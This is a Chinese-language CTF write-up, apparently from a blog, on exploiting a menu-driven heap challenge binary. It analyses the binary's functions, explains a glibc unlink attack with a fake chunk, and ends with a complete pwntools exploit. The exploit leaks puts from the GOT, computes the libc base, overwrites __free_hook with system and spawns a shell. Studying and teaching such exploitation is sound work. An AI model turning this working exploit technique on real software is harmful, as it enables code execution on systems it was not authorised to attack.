先来看一下程序的保护情况
![](https://img2024.cnblogs.com/blog/3310839/202401/3310839-20240118141510641-14113944.png)
堆栈不可执行,而且还开了canary
看一下ida
![](https://img2024.cnblogs.com/blog/3310839/202401/3310839-20240118141548096-320614701.png)
又是经典菜单题,接着分析每一个函数功能就行
![](https://img2024.cnblogs.com/blog/3310839/202401/3310839-20240118141635685-1757234718.png)
touch函数:有一个数组存malloc出来的地址
![](https://img2024.cnblogs.com/blog/3310839/202401/3310839-20240118141707119-819277548.png)
delete函数:删除堆中的数据,不存在uaf漏洞
![](https://img2024.cnblogs.com/blog/3310839/202401/3310839-20240118141801992-1551128633.png)
show函数:打印堆中数据
![](https://img2024.cnblogs.com/blog/3310839/202401/3310839-20240118141827705-937091973.png)
take_note函数:向堆中写数据
分析到这里,根据题目的提示,那就用unlink来打,这里有篇博客可以先学习一下:【pwn学习】堆溢出(三)- Unlink和UAF_堆溢出 got表-CSDN博客
首先我们先创建三个堆块
![](https://img2024.cnblogs.com/blog/3310839/202401/3310839-20240118142253962-1903262115.png)
debug看一下
![](https://img2024.cnblogs.com/blog/3310839/202401/3310839-20240118142529041-999381944.png)
再看看一下存堆地址的数组
![](https://img2024.cnblogs.com/blog/3310839/202401/3310839-20240118142602437-1058264227.png)
接着我们来构造一个fake_chunk
![](https://img2024.cnblogs.com/blog/3310839/202401/3310839-20240118142801594-1588396498.png)
首先我们来一步步看这个过程,我们payload是向第一个堆中写入数据,但是却溢出到了第二个堆中的数据,将第二个堆中的prevsize和size改了
![](https://img2024.cnblogs.com/blog/3310839/202401/3310839-20240118143438838-1488116117.png)
图中第二个框就是第二个堆,可以看到presize和size已经被修改,之所以为什么这么改0x20,是因为是第二个堆地址-0x20确定第一个堆的地址,0x90是为了表示第一个堆已经被free了,触发unlink
,当我们delete(1)时就会将第一个chunk解链,这个过程就是要利用第一个堆的fd和bk指针,这个过程就是fd->bk=bk,bk->fd=fd,其实就是一个双向链表解链操作
我们来看这一步bk->fd=fd,我们知道前面的bk是buf-0x10,所以解链时我们就会到0x6020b中,找到bk_fd指针位置(其实就是距离0x6020b+0x10)的位置,将0x6020c0此处的地址复制成fd(这个fd是我们fakechunk中的fd,即0x6020a8),debug看一下
![](https://img2024.cnblogs.com/blog/3310839/202401/3310839-20240118144917454-628464777.png)
那这样有什么用呢?首先确定一点,这个地址的值已经被我们控制了,那就可以通过puts函数,将puts函数的地址打印出来,泄露出libc基址,然后将free的plt表修改成system函数,即可达到getshell目的
先来看一下exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=process("./pwn")
elf=ELF("./pwn")
#io=remote("node4.anna.nssctf.cn",28319)
def debug():
gdb.attach(io)
pause()
def touch(size):
io.recvuntil(b"please chooice :\n")
io.sendline(str(1))
io.recvuntil(b"please input the size : \n")
io.sendline(str(size))
def delete(index):
io.recvuntil(b"please chooice :\n")
io.sendline(str(2))
io.recvuntil(b"which node do you want to delete\n")
io.sendline(str(index))
def show(index):
io.recvuntil(b"please chooice :\n")
io.sendline(str(3))
io.recvuntil(b"want to show")
io.sendline(str(index))
io.recvuntil(b'is : ')
def take_note(index,content):
io.sendlineafter(b'chooice :\n',b'4')
io.sendlineafter(b'modify :\n',str(index).encode())
io.sendafter(b'content\n',content)
touch(0x20)
touch(0x80)
touch(0x100)
#debug()
buf=0x6020c0
#fake_chunk
prev_size=p64(0)
chunk_size=p64(0x20)
fd=buf-0x18
bk=buf-0x10
content=p64(fd)+p64(bk)
of_prev_size=p64(0x20)
of_chunk_size=p64(0x90)
payload=prev_size+chunk_size+content+of_prev_size+of_chunk_size
take_note(0,payload)
delete(1)
debug()
payload=p64(0)*3+p64(0x6020c8)
take_note(0,payload) #这里其实是在向0x6020a8中写入数据了
payload=p64(elf.got['puts'])
take_note(0,payload) #这里是在向0x6020c8中写入数据
show(1) #打印0x6020c8中的数据
puts_addr=u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
print(hex(puts_addr))
libc=ELF("./libc-2.23.so")
libc_base=puts_addr-libc.sym['puts']
free_hook=libc_base+libc.sym['__free_hook']
bin_sh_str=libc_base+next(libc.search(b'/bin/sh\x00'))
payload=p64(free_hook)+p64(bin_sh_str)
take_note(0,payload)
system=libc_base+libc.sym['system']
take_note(1,p64(system))
delete(2)
io.interactive()